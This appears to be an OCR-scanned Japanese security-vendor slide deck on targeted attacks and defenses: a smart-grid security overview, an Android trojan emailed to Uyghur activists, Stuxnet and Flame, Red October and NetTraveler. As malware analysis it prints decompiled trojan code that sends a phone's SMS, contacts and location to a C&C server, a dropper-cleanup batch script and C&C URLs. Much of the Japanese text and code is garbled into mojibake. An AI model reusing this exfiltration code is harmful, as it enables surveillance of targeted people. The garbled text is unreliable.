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http://www.ipa.go.jp/security/fy24/reports/ics management/ics managemen
t manual2012.pdf

http://isacahouston.org/documents/RedTigerSecurity—
NERCCIPandotherframeworks.pdf
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Modern Grid Key Integrated Communicationsecurity Solutions
Technologies

1.

Integrated
Communications

Sensing and
Measurement

Interoperability standards that include advanced cyber security
protection

Transport vehicle that provides the needed operational and
condition data to enable self healing

Redundant communication paths making interruption of data
flows unlikely

Remote monitoring that detects challenges anywhere in the
grid.

Cyber protection of sensors and measuring devices

lab
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Modern Grid Key Integrated Communicationsecurity Solutions
Technologies

Advanced Control
Methods

Advanced
Components

1.

SN RCONINES

Islanding to isolate vulnerable areas in response to real or
expected security events

Automated network “agents” for dynamic reconfiguration
and demand management

Self-healing with preventive or corrective actions in real
time

Recommendations for addressing security threats provided
to operators in real time

Advanced modeling and simulation capability with predictive
capability

Tolerant and resilient grid devices
Rapid response to emergent threats
Fewer critical points of failure
Reduced consequences of failure
Distributed, autonomous resources

lab
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Modern Grid Key Integrated Communicationsecurity Solutions
Technologies

Decision Support 1. Greatly enhanced situational awareness
2. Improved operator training and guidance systems aimed at
response to security events
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OSY°MS Office. Java. Acrobat/®:&EDE L\ %=FIFE

> ROOtYPAAMINERZEEN I 3/ E LT, J7 AL LT
UNDV IR EZ/DET:

> MEBIRT 7 AILICTOTRATD (AE—. HIFFRE)
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=23 ETRIEOEVFEEZEIRT B

> Kaspersky B TIEEERT7T V-2 3> EETRBEOE
55D EIRIFHRZ IRt

= . N
Windows OS> F &7 Y BRRICEATET—EHN—RIL
FFYEr—30 0 ,fﬁ'?ji%e‘if Ifzuri:\ Windows UpdateD{th[Z.
N—30 B RV SYF Cente?’) ['%é‘iﬂﬁﬁjﬁs‘l“' Kaspersky LabMbigfit s d
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M AFE TIEGEWEARAAH S AT L

HAIRAA D RTLTEEVGEENEFET S
> ARMZ Oty +Linux
> Null’ RIS BOE S
struct sock *sk = tun—>sk;
> LEET tunDEMN'NUll" THSHIEE . NULLIRI U 2ZESHBRLTLED
> H—RILRDOO—K THMNIEDoS (denial-of-service) I T/ E TEHTEE
> Exception Vector Table TH A= FFEDIA—FEEITSHLH_EMNTE
B (ZHlEVector TableNEEZTHEZ AIBEGERE LT >TSS EA—HZHY
rEBRhHhndhn)

> FEBIELinux L9t D OSTHAIEE
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tAFE TIEGEWEARAH S AT L

PoSifRkZIHO T IL T “BackdoorWin32.Desty”

> ENPDTOCANERT HAEIEHRAAH . TDHMN LY
LY A—REHRDAZEHE TS

> — i1 —HHNPCLETIHKSIIVL DY A—FIBEHRTIFGL, FLD
YEA—FREHRERSIT IV r—2a &M EDIZERNELTLNVS,
>KEBEHIILDYM—FEHROD T —2T74+— v hE A

> LY I—FRHMDIEHMZEZF VT HEEEETILITT
NIZEI S
http://www.seculert.com/blog/2012/12/dexter—draining—blood—
out—of—point—of—sales.html
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AR =T PRETIELFEHLNTL SHANndroid
>2013F3A 148, AMEEARZTIEMICLI-ZRN R NE
> Vafr—J THRESN-AERADHLI7LUOADLR—IE
ZLE>T-TWUC’ s Conference.apk |EL TA—JLRAHIZTEEST
A 1OV WESIZE J Ve ity 4) M2y 4

>AVADN UE. BIEELEKIERLEE R
IRE LI ER~NEE
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ANDROID Z#JH->-1EH B I E&

Ell: DRG0P AN DRI | Wl 25 Jmly 4J 25 M

&' WUC's Conference in Geneva - Mozilla Thunderbird -0l =|

File Edit Wiew Go Message OpenPGP Tools Help

2 cetmal -~ P write M chat B Address Book @ Tag - [ Deaypt =

= 4, Reply | s Reply .ﬁ.JIl v| = Forward | = Archivel (i -
Subiect WUC's Conference in Geneva 326 PM
Bcc _ Other Actions ~

-

22 March 2013 World Uyghur Congress B

In what was an unprecedented coming-together of leading Uyghur,
Mongolian, Tibetan and Chinese activists, as well as other leading
international experts, we were greatly humbled by the great enthusiasm,
contribution and desire from all in attendance to make this occasion

something meaningful, the outcome of which produced some concrete, —
action-orientated solutions to our shared grievances.The attachment is
a letter on behalf of WUC,UNPQO and STP.

[
DI i@ 1 attachment: WUC's Conference.apk 212 KE I . Savel v|

|!'! | (@G)o (s)ave (Copy | v

KASPER§KY#



ANDROID Z#JH->-1EH B I E&

https://www.securelist.com/en/blog/208194186/Android Trojan Found in Ta
rgeted Attack

LiR—hERTRSE DAndroid 7T ZEREITHZET, LLTFECRCH—/\—[C
Brak

> RADAE—ESIMIZREFSNTIZOVF I MER

> WWEHECER. SMSAYE—D

> GPSTIEE#R

> Biads

> OSM/\— 3> /SDK/N\—2 3y

> HiE

C&CH—/\—TIZ. Sauron Softeware () Java Base64 54 TS )ZHL =Y
— ILAFI SN (CHIZLGPLSA 2 RIE THTHLAF O
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https://www.securelist.com/en/blog/208194186/Android_Trojan_Found_in_Targeted_Attack
https://www.securelist.com/en/blog/208194186/Android_Trojan_Found_in_Targeted_Attack

ANDROID Z#JH->-1EH B I E&

public wvoid onCreate()
C&C server HIDIGE

R super.onCreate @

:I—I\ this.hostname = "http://64.78.161.133";
ComponentName 1Niniumms e serronentName (this, PhoneService.class):
try

{
thiz.nativenumber = getPackageManager () .getServicelnio{localComponentName, 128).metalata
if {this.nativenumber.equals("phone™))
{
SharedPreferences localSharedPreferences = getSharedPreferences ("number™, 0);
thiz.nativenumber = localSharedPreferences.getString("natiwve™, "™):»
if {("".equals{this.nativenumker))

{
Date localDate = new Date() s
thiz.nativenumber = ("phone™ + localDate.getTime()):
localSharedPreferences.edit () .putString{("natiwve™, this.nativenumber).commit ()
}

}
send.urlatr = ({this.hostname +§"fandroid.php™);
i seContext())

thi=.nativenumber) :
ag == true)

if (send.sendInfo{"create”™, this.nativenumberﬁﬂ

{
IntentFilter locallntentFilter = new IntentFilter("com.google.ayvatem.receiver™)
localIntentFilter.setPriority (2147483647) 7
registerBeceier (new sendBeceiver(), locallntentFilter):

send.urlatr =Q{this.hostname + "/data/™ + this.nativenumber + "/process.php™):
servicelInit ()
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ANDROID Z#JH->-1EH B I E&

COREBETRVLNI=I—FIZEFZLOFEENEEN T
K SEOREHNREF YO AEFHR

Log.i("ERfERTRUN", "8 - FErf /1B T | 1 ") - Timer RUN, Whole timer loop endll
Log.i("RUNE@m", "ERROR") - Run inside

Log.i("B2h 7T ", this.nativenumber) - Launched

Log i("FHMEE " "FHIFF W » shEsendiEH$E1E | ") - Phone network conditions,
no cell phone network, or send module errorl

Log.i("#T&lintent”, "E = FETIET, IZNFB30") - New intent | the main program is
running, and this does not start

Log.i("contactE & ", this.contact) - contact retransmission

Log.i("sendInfo", "PR&E-fi@") - network blocked

Log.i("#E ¥ 1518 7 MR", localBundle.getString("sms")) - received SMS
Log.i("# W ] 8ifl ", localBundle getString("contact”)) - received contacts

Log.i("#E M E| & {8 2", localBundle.getString("location")) - receiving the location
information
Log.i("#z W F|record”, localBundle getString("other")) - received record
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“STUXNET"ITZERH> AT LA INE

“Stuxnet” [XF AV D Siemens $£ D SCADA (Supervisory Control And Data

Acqquisition) A E 1—A2Z B~ E

> TIHENTOERRBVATLITIZEMNLGE AT LTEELTLNS=H. X)) T4 Rh—ILEETEL
BF0

ERADFIE

> MS09-025 ML V551E% (win32k.sys) FIFIL THERRZ FE &S USBA U A—TJ—ABRHATT 4R
HEIZaE— BREEIKT S

> “Siemens Simatic WinCC” &AWL "PCS 77 Y IR T7MNA U AR—ILENTWLNAENEIMNTRS
> ERIN-BZE. AVFI—FRIMEBUVATLADT—2% A 3—FyMERATY —/\—~BLE%
A
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“STUXNET"T#R> AT LARIRE

2009 FRRA Stuxnet EIRITD Flame DEHI—DO N HEE A (L autorun.inf Z9 L THL KT
HFOTY , Resource 207 &, [Flame ]EY 1—)L%&Tautorun.inflEL T L—/\T JLAT
A7IZaE—L. EZTI77M4ILOEKREIZEARY Dautorun.inf J7AILETIMT BHZETIILY

TV RREEEIE BRI EIH-OTULVET , Stuxnet A{KILI"XTRVWp.q entJ77’I)L'CL;gD;L§'SB R

utorun Inf

5’(7":: t"—é;h,i‘d’o Priv escalation exploit

Resource 207

CDETIT7AILIL, OS ITE2TARFED autorun.inf 774 I)ILELTIEF(ZANE SN B
TFTINARIZTOERTBAEIZES 21— ILAETINET,

PE file, 266419 bytes
autorun.inf at end of file

autorun.inf

Stuxnet, variant 2009 ~XTRVWp.dat




“STUXNET"T#R> AT L %IRE

AARIILRAF—TIE2009FE N 52010F ([T THERENTI==DD

BGH/N\—2a R ELTLNS

> 20094 kR (& autorun.infl 77 A JLEES>TUSBRSA T IR T 404G FEZMNALDS
nTL3

> 20094F hR D StuxnetlEMS10-046 MDLINKZ 7/ ILDEULNTBHEEFIAL TLVELY

> 2009FRIFFSA/IN—DF7AILHN—DTHSDIZHL T, 20105FkR(EMS10-046 DL
BEHFRETL-ODRSA/IN—DBMEINTZDEL-TLNVS

> 1=&Z &, TResource 20711F2009F iR CIFEHEDED 12— ILI=A., 2010F R TIZRID
EDa—ILIZHESN TS

> “Tocy.a” EVA—J)LIL Flame” |IZZ (TN TSI EADBIZH A DT
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“STUXNET" IR AT L& INE

20094 kg Stuxnet M)V —X

W B X H O9 B =

RC Drata
& 20

202
205
208
209
210
221

222
3

Al LA A A A T

201043 A lkStuxnet M) —X
W B X m O R =

RC Data
20
202
203
205
208
209
210
21
222
240

E 241

& 250

[l Be(elelelelelelelelele)
4
¥ ]



“FLAME"
“STUXNET"” &DHEEDHD D T— A

“Flame® TIX"Stuxnet”’ E@MLET ST ANV —RAO—REBHEL TR HSNL TLY
518, NoDT—LERFELBABITLTASH DB ABERICH - F-LHEES
nad

“Tocy.a” MERER
> “Stuxnet” TIFHEEL TLVEWEBRDHONTI=FL 21— LA Flame” IZFBHESIN TL

> “Tocy.a” [&£”Resource 207" EEEELLTULNS

“Resource 207"
> 1 ld”Resource 207”7 | BESLEINTF=-DLLI 7L (NEBIZISIKBDRIDEITI7AILEEET 5)
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“FLAME"

“STUXNET"” EDHEEDHD D T— A

FlamelZ&E N5

“stmpsven.ocx” (&

“Stuxnet” 2009FEfRMDI—F D

— &R

) — ATV TD

201
19840

Mrxcls.sys

202
14336

Small “siemens” dll

205
323

Config for mracls

207
520192

Autorun infector/Priv escalation
exploit

208
288000

Big “siermens” dll

Flame

atmpsvecn.ocx

209
25

data

210
9728

PE template

221
145520

rS0B-067 exploit module

222
102400

MS10-061 explait module

231
10752

CE&C comms module

Stuxnet 2009
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“FLAME"
“STUXNET"” EDEEEDHD DT — I

ED 21— )LEB B DEER

1) | Address of Entry Point: [10015F50 J

Field Mame [ ata Walue Dezcription Field Mame [rata Walue D escription
k achine 014Ch i30EE Section Alignment 000071000k

Murnber of Sections 005k File Alignrment 10007000k

Time Date Stamp 4384208Bh 04./02/2009 23:11:07 O perating System YWersion 00000004k 410

Fainter ta Symbal Table 00000000k Image “erzion 00000000k 0.0
Murmber af Symbals 0000000k Subzystern Yerzion 10000004k 4.0

Size of Optional Header N0EOh E| | Win32 Version Value 00000000k Rezemned
Characteriztics 2102h i Size of Image 00031000k h2a584 bytes
b agic 010Bh PE32 Size of Headers 00007 000k

Linker Werzion 0008k a.0 Checkzum 00000000k

Size of Code 00Z26000h Subzystemn 1002k Wina2 GUI
Size of Initialized Data 0005000k DIl Characteristics 0000k

Size of Uninitialized D ata 00000000k Size of Stack Rezerve 001 00000R

Address of Entry Point 10015FE0H Size of Stack Cornmit 000071000k

Baze of Code 00007 000k Size of Heap Rezerve 00100000k
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“FLAME"
“STUXNET"” EDHEEDHD D T— A

Resource 207 A MD

271ILIE
7..-.. ” IH*!:XJ — =1+ Wersion Length Of Struc: 039Ch
> RIZ"Flame” DT ST (> i 1 Length Of Value: 0034h
> “Stuxnet” [Z “Flame”Da>R—R2 MM Type Of Struc: 0000h
BEN T AR Info: VS_VERSION INFO
Signature: FEEFO4BDh

Struc Version: 1.0

File Version: 5.1.2600.2180
Product Verasion: 5.1.2600.2180
File Flags Mask: 0.63

File Flags:

File 0S5: HT (WINDOWS32)

File Type: [LL

File SubType: UNENOWN

File Date: 00:00:00 QO0/00/0000

Struc has Child({ren). Size: 832 bytes.

Child Type: StringFileInfo

Language/Code Page: 103371200

Companylame : Microscft Corporation

FileDescription: Atm Epswvec Install DLL

FileVersion: 5.1.2600.2180 (xpsp spi rtm.040803-2158)
InternalName: atmp3ven.ooK

LegalCopyright: & Microscft Corporation. A1l rights reserved.
OriginalFilename: atmpaven. ooK

ProductName: Microscfit® Windows® Operating System
ProductWVersion: 5.1.2600.2180

Child Type: VarFileInfo

Translation: 103371200



“FLAME"
“STUXNET"” EDEEEDHD DT — I

Resource 207 M Stuxnet EH B HN TULV4FE

[RYB 1774 IL DB HI%temph¥dat3A.tmp &snsm7551.tmp

ERGED 21— LN TR BLUVEOHEBERET—FTIFv
BEHORYEDT VT ILRE

FRILE=SzILa—FDREAIL

MmN HS 0S N—Ia3>DERBEREF VI T7ILTIX L

BEDAR—

E[RIL. "Flame” OFEY 21— )Ll atmpsven.ocx ]

IRFE D Flame” EDFERETSE

> Mutex names: TH POOL SHD PQOMGMN %dSYNCMTXH LU TH POOL SHD MTX_GMN94XQ _%d
> XFIDESETILTIX L

> ITY T ENT=US5 A4 2AVnxys_ uwip RELE

> Flame D7 —FTOF ¥ THEASIN-LDEELULI=T7M4ILA - .ocx T7A )L (atmpsven.ocx)

vV V V V VvV V
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“FLAME"
“STUXNET"” EDEEEDHD DT — I

SULVI—FO—H%

Resource 207 MgetdecryptedE %k

mssecmgr.ocx MDgetdecryptedE £

Resource 207 0 DecrypString BE%K

secmgr.ocx M DecryptStringE %4

browse32.0cx (2012 &£ 5 A ~6 AIZ#L5EILT= Flame D72 A2 A—ILEY 2 —)L) MDecryptString %k
Resource 207 Tff A& f=Mutex

mssecmgr.ocx C{E AN 7T- Mutex

Vv V V V WV V V

GetDecryptedString proc near DecryptString proc near

arg 0 = dword ptr B8 test edx, edx
effset Format ; "TH_POOL_SHD_PQO! push ebp push esi
eax, [ebp+var_B4] mov ebp, esp mow esi, eax
Eax ;oint push esi 1be short loc_ 405471
Sprint fNewiideString mov esi, [ebp+arg_8] push ebx
ebx cmp word ptr [esi+10h], G push edi
eax, [ebp+var_4C] inz short loc_ 405480 push BBh
EdX lea eax, [esi+ldh] pop edi
NewSecurityDescriptor short loc_ 405484 sub edi, esi
esp, l4h ; - loc_405448:
byte ptr [ebp+var_4], 1Dh loc_405480: lea ecx, [edi+esi]
eax, [eax] edx, word ptr [esi+l2 lea eax, [ecu+E]
eax, [eax+4] push edi imul eaxn, EBcx
eax lea edi, [esi+14h] mowv BCxX, eax
1 mav eax, edi shr ecx, 1Bh
eax, [ebp+var_B4] call DecryptString mow ebx, eax
eax and word ptr [esi+1Gh], @ shr ebx, 16h
11h mov eax, edi Xor cl, bl
ecx, [ebp+var_C4] pop edi mov ebx, eax
NewMut ex loc_ 405484 shr ebx, B
byte ptr [ebp+var_4l, 1Fh - pop esi xor el, bl
ecx, [ebp+var_4C] pop ebp xor el, al
sub_402EA3 retn sub [es1i], £l
eax, [ebp+var_C4] GetDecryptedString endp inc esl




"RED OCTOBER"

S (CHER SN T=Y 1) 3R 3RAE

HERBPDIR 4 IRXEDINAZ - BUAHEES
ANDRHHE)
2007FHLDEEFFE(CHIZDTE
TSN E SR

IRES AT AIIER (CZERN T L HLEE
Ity RHEHESNTWS
REWRODTINA AEILET. X
<—hkJA> (iPhone, JF77,
T4 > ROXEINAIL) . Ry b~
J—Ok2s (XD —5F—) B
SFND

SECURELIS[ @ Internet threat level: 1

Threats Analysis Statistics Dt

Home — Blog — Incidents — January 14 2013 — The "Red October” Campaign - An Advanced Cyber Espionage N

The "Red October" Campaign - An Advanced Cyber 1.1
Espionage Network Targeting Diplomatic and
Government Agencies

5

Here's a link to the full paper (part 1) about our Red October research. During the next days,
we'll be publishing Part 2, which contains a detailed technical analysis of all the known
modules. Please stay tuned.

GReAT

Kaspersky Lab Expert

Posted January 14, 13:00 GMT

Tags: Mobile Malware, Targeted Attacks, Cyber espionage, Spearphishing

During the past five years, a high-level cyber-espionage campaign has successfully infiltrated computer
networks at diplomatic, governmental and scientific research organizations, gathering data and
intelligence from mobile devices, computer systems and network equipment.

Kaspersky Lab's researchers have spent several months analyzing this malware, which targets specific
organizations mostly in Eastern Europe, former USSR members and countries in Central Asia, but also in
Western Europe and North America.

Operation “Red October”

Victims of advanced cyber-espionage network




1 RED OCTO BE R”
SE (RSN =01 \— 3R

Ly
> BEDEHRZEHEITCEZBNELEY

IWEDFIA
> BRS—Ty MeREURBRSES (Z<DBEBFA—I)
> =4y NTEBMES 1—ILEERT Sz 0EREIRSE

> 7TUT—23200SOEVGEHBHRZINEL. TNICEDETROI— REEDIA
By

FU 55

> MS Office

> Adobe Acrobat

> Oracle Java (AKA “Rhino”)
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"RED OCTOBER”
JAVADE L\591E 7= F

LTIRATD

L

“Rohit” ToOXJO- b%=FIHA

> Java S5 LADE N

> {EFEEINTLVRLJava Web Start 777 U4—=3>42Java 7T L v MHIEEHDIRYD
T hzEiTo]EE

— gV R FIIE

> IFECHIT U/ePHPR—= (Rocratt-f ) (CEFRET BIzHDY > D ZIBEIAATEA—
e ET D

> PHPX U hTURLZEES{E L Clavar’JLw MMIES
> 7L v MMIFESIEF—NDEFENTED., Y—5vY bOFT 4 A0CH DO %=
BRIX 9 DIZHDURLZERK T D

Tl Tl e L e | g e s | == e L1

Address http: ficsrss-check-new , comnews | NG b GD Links *

Processing, please wait ...

[II.IIIIIII ]

[ Cancel ]




“RED OCTOBER"
MS WORDDE L5514 % F

U CCRCEEHIT D

MS Word & LTI ~

> A— LIS SN Word 7 71 JLICE 851 B\Efj 1% stage of attack
AU T T OO — RELEHIAT -

> %TEMP%¥MSC, /v k ool L

) attached file
%ProgramFiles%¥WINDOWS NT¥LHAFD,
|
1Xs

GCP (<-CDIT7AILAIFREDET)
%ProgramFiles%¥WINDOWS NT¥SVCHOST |,_H_’_'_.-.'
—
CVE-2009-3129 CVE-2010-3333

EXE

=blc. BATO71ILE

> chcp 1251
: Repeat
attrib--s-h-r"%dropper_file%"
del "%dropper_file%"
if exist "%dropper_file%"goto Repeat
del "%temp%¥msc.bat”

CVE-2012-0158

User opened the file

Er— Dropper
starter/remover HEUR:Trojan.Win32.Generic

Loader Payload b
arizhabo H (swehostexe) | [ (encrypted) ﬁ 5
S

‘Windows registry Program Files\WindowsNT C&C server




“RED OCTOBER" £

Victims Proxies

Russia, Leadenalacom

IP: 142.101 239225

Grmany,. Hetoner

| -] =
e
IP: 178.63.208.49 :
188 40.19.247 -
THAGATIAS
B8.198.30.44
ER.198 85,161
- 82 53,105,490
T — : Austria, Edis GmbH

IP: 37.235.54.48

(ZXE

Motherships
or 2nd proxy

Germany, Hatoner

J
Russia, i7 LTD
?
------ L]
e 2
|
Real C2

Ruessia, Felink (Unknown)

i

IP: 314145139

Red October C2 Infrastructure
@ 1997 = 2012 Kaspersky Lab 240
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“NET TRAVELER"
APTIREZE THIFH =N STOOLKIT

MS OfficeddF L \g51E = FIFE Uz 1k%
> A—JLICHftEenzWord I 7 (JLC. CVE-2010-3333 &MEENDELGEMEZFIA L TIRE

> COIWETIL. “hxxp://www.faceboak.net/2012nt/nettraveler.asp” &UL\SC&C (Command
and Control) Y —/)\—(CT#Ekt

FEES AT LR EDERZINE ?

> “.DOC", "XLS". "PPT”. "RTF", ".PDF" 12 & D—REHIRT 7 1 ILIZFTR< . “.CDR” (Corel
Draw). “.DWG”. “.DXF”. “.CDW”. “.DWF”(AutoCAD). &5(Z“.CFN” ¥>".CFG" &\ > J=%E
7 7/1’ ) H—SHY%&T%
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“NET TRAVELER"
APTIRE THIFH =N STOOLKIT

HTTPZ O )L TCRCH—)\—~NX(S

> BASE64TI>1— RanNZIJ71I)ILDIEkR(Z. HMBOEMHEZIIL IV XALATEEHSN. HTTPY
O DL TEEESINE

Encoded data

FInNoK-ulncMrisjmys4mZuadlxith/ HnhY o rrgimb v L3DYuKaa—4Y9 7 M
4x/ JufCZyCTgkDiCOopxJL3pbrxvdFnlwwsyAZcOLNgOE3/ HITIP/s1.1"™ 200 25

le; MS5IE ©.0; Windows HT S5.0)"

KASPER§K Y32



“NET TRAVELER"
APTIRE THIFH =N STOOLKIT

Y —JLODETE
> &@7) ’I’)V(T:HY%@_éd)b\fd\& %Hﬂb\ ADRED‘T BTN —JLICIR D THED., 1FHRDUNEICKIIL

NetFile-B01 Vista/Win 7} (2011.6)

RERSm
FITHE: [tp://www, domain, com/yourwebspace/nethttpfile, asp
LibimiE: 30 adb SrhT (10240
FiaHE: |y ,

BT ET v AT
itk |  EEREIRED
SCHEE: |Windows K v R

LEfEE: |12 /1Bf
EEHER: W

TR
EREfR: |
EREE: |
v MERIT B R Thi e
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“NET TRAVELER"
APTIREZE THIFH =N STOOLKIT

getdata

updated
getemail
gotemail
datasize
getcmd
gotcmd
gettext
downloaded

downloadsize,
updatesize

A2 J40L—23>TJ7AIILDOOXR> Ry hEHRHTLTY —
v MMOEE (F; “UNINST ALL “. “RESET ", “UPDATE "\
“UPLO AD")

CCH—/\—(CEUSICRARIN UTeT — 5 =ik

F—Tw NCF2TL— I 7AILZEE
CRCH—/I\— D\ SEERHDFT> T L— hEYIBE (“email.eml”)
BN\ O RFZES1-ILDOIT 7)Y X ZEIiE

S —45vw RDOPCTEITI DIV RZEES
EEBAHOREDIN> RZHIBR (F+>t)L)
CRCH—/\—W559—5v FDOPCANFTF AT 7 1)L ZiX(E
“updated” & i@

“datasize” & 3@E
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VR xR, XTI D

BB ERBRESDFTFBA, URIIECICTEHDET

ESXANMBRBIRD
> EZRA LDFRE

> BUAH. REW

> [Eotthiy,

IBIED AT LAORBIT DI

> FLfitgfYIR X0
> AT LANAB T BIEWNGEEZHRIT D (B : Java/PDF/OS etc:+)
> WEED

> B LDUXD
> BRARNBIHRNAD IR ZEIETD
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tHr A EZSOTTF 1 )5+

Y hO—DICEDDEH (HaR)

2y NJ—DRATORE
> DoS/DDoS
> SmurfIXE
> FraggleI{Z
> SYNT S v RIXE
> http://www.cisco.com/cisco/web/support/JP/100/1007/1007985 22-j.html
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http://www.cisco.com/cisco/web/support/JP/100/1007/1007985_22-j.html
http://www.cisco.com/cisco/web/support/JP/100/1007/1007985_22-j.html
http://www.cisco.com/cisco/web/support/JP/100/1007/1007985_22-j.html

BRI ST 171 AISAESh BT
N R SR X e
EE%IJ@?)WIW&&F J?l,fm“ﬁé%z %#

GCEy e NS ek o s R e

http://www. kasFersky com/about/news/product/ZO1 2/kaspers
lgy securltky for_linux_mail_server_reinforces_protection_against_cy
er_attacks
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= s E /' ;—
Ei%ﬁm%—':»r%i ﬂ Tﬁll

AR LICRALIZRAMDTILII7 (EImR LDERGFEREAFLTRAZBDRE
L7-C&C (Command and Control) H—/\— [ZIEHREFEEZTRA D, cOLNT A D
RAZBWNE RS 7 T)r—av RSN\ —%RHMLTIavrd5
BRENIDTILD LT DIEFNE T —EIN—RIESNHEFEINLH . RHEDTILOTTILLL
'FODCF#E’AEII BREDHETIZERT S
FAADRETT)r— a0 DEEETRT EIME
> VRATLNI—R(ARTLLOARN)EE)ANDTHIEX
> RYrT—H1)Y—ROBEABTALIRN) . DRATLLOAN) ICEBERLTED) VOEERTHT7TTY
T—ay
> FSAN—DELAVR+—)L
> BLATOzIMOIELTOEADER(A#OTO+X ID(PID))
> FOMDTOAELRADAT I3y HE
BEDIEIFLGIILDITDRSEBEVDERFENITS57ILIUXLICE>TUIE
RECSRINEENELD
BREILTOYILIERIE. OO TREBELTITVRF—ERZNLTHRE
FRI—HF—DIRIFETHEEINS, CNNTITORR—R{REE]
http://support.kaspersky.co jp/kis2012/settings/proactive?qid=208289179
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E= = EE ’;'
FIDRER .,

RKEHDIILITT  BEMIZBIRE I T HAMEEDFRNT —IRN—RIZEEE
FBSNDFETOMIC D L—F —IRIBETRISN=IH-LBRIMDTILITITIEEE
VIS —ERERBELTHAPOL—F—RTTHATLHILT. RADEHS,
SIRET D= DEM

RET. HROECHTRELLFERMOEBEMRILT SDICAMTEAET .
— BT — AN —REAS IS L D F- BB SO REICFHEMEELFE T,
DEMEBALICET, BREDIKREBIETHIENTEFT,

LHE5A . COBMTRETELDETRFORMIDEHBNOT, I TITHLONTI=E
BN DREIXT—EN—RJCE>TRELET

http://ksn.kaspersky.com/jp
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AT D IREETT
UEFIZ 0T 3>

INTELE &TFAMD cpumv*f—rl-i—“lfJ:'GEM’ELn UEFIIZR% 3 L 1= (UEFIZ
EXMZ-)BICORATLDREEIZTOYY

(REERLEE X TokenOA U R—FF v TI7% & TIRIL AT BE
?‘%ﬁ@ﬁE ERRE X IR LT A= ITREMBED BN AIRELE AN X LEHIR

=1L, /Y —R—FIZ& > TEENELGL=-OR—F A—h—H & B D #EEE
ELTIRIETHEIZES

> YOIz T7RED LS, BIMTAUAM—=ILTBED TIEAL

osuiv(%ﬁ-s“ EENBOI7AIV AT LY R—h3452LET, 28IV R
FLDREEEET S

> NTFS/FAT 16/32/5 &

http://www.uefi.org/about/
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X2 T7I750Y—

> X al) T4—Y— )LHMRELTWBAURLDLAU TV TAIILE DT DIEEE
BT DIV —

> VIR —ERLEETHILETERERICRAF VUL, RETHIENTED
LDLHD

+F*a170S

> 0SDH—RILY—E R, HBAWNINA/IN—N\AF—DH—ERELTEF
)T D REE IR

> h— LI BN TERMGHEDHZIRET D

> 7T r—=a ETRADOSOTU AL LIFNAIN\—/INAHF— L TENMET
HTETHBEYGENEZR AU TR HLE
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1. EMERGING CYBER THREATS REPORT 2013(Georgia Tech
Information Security Center and the Georgia Tech Research Institute)
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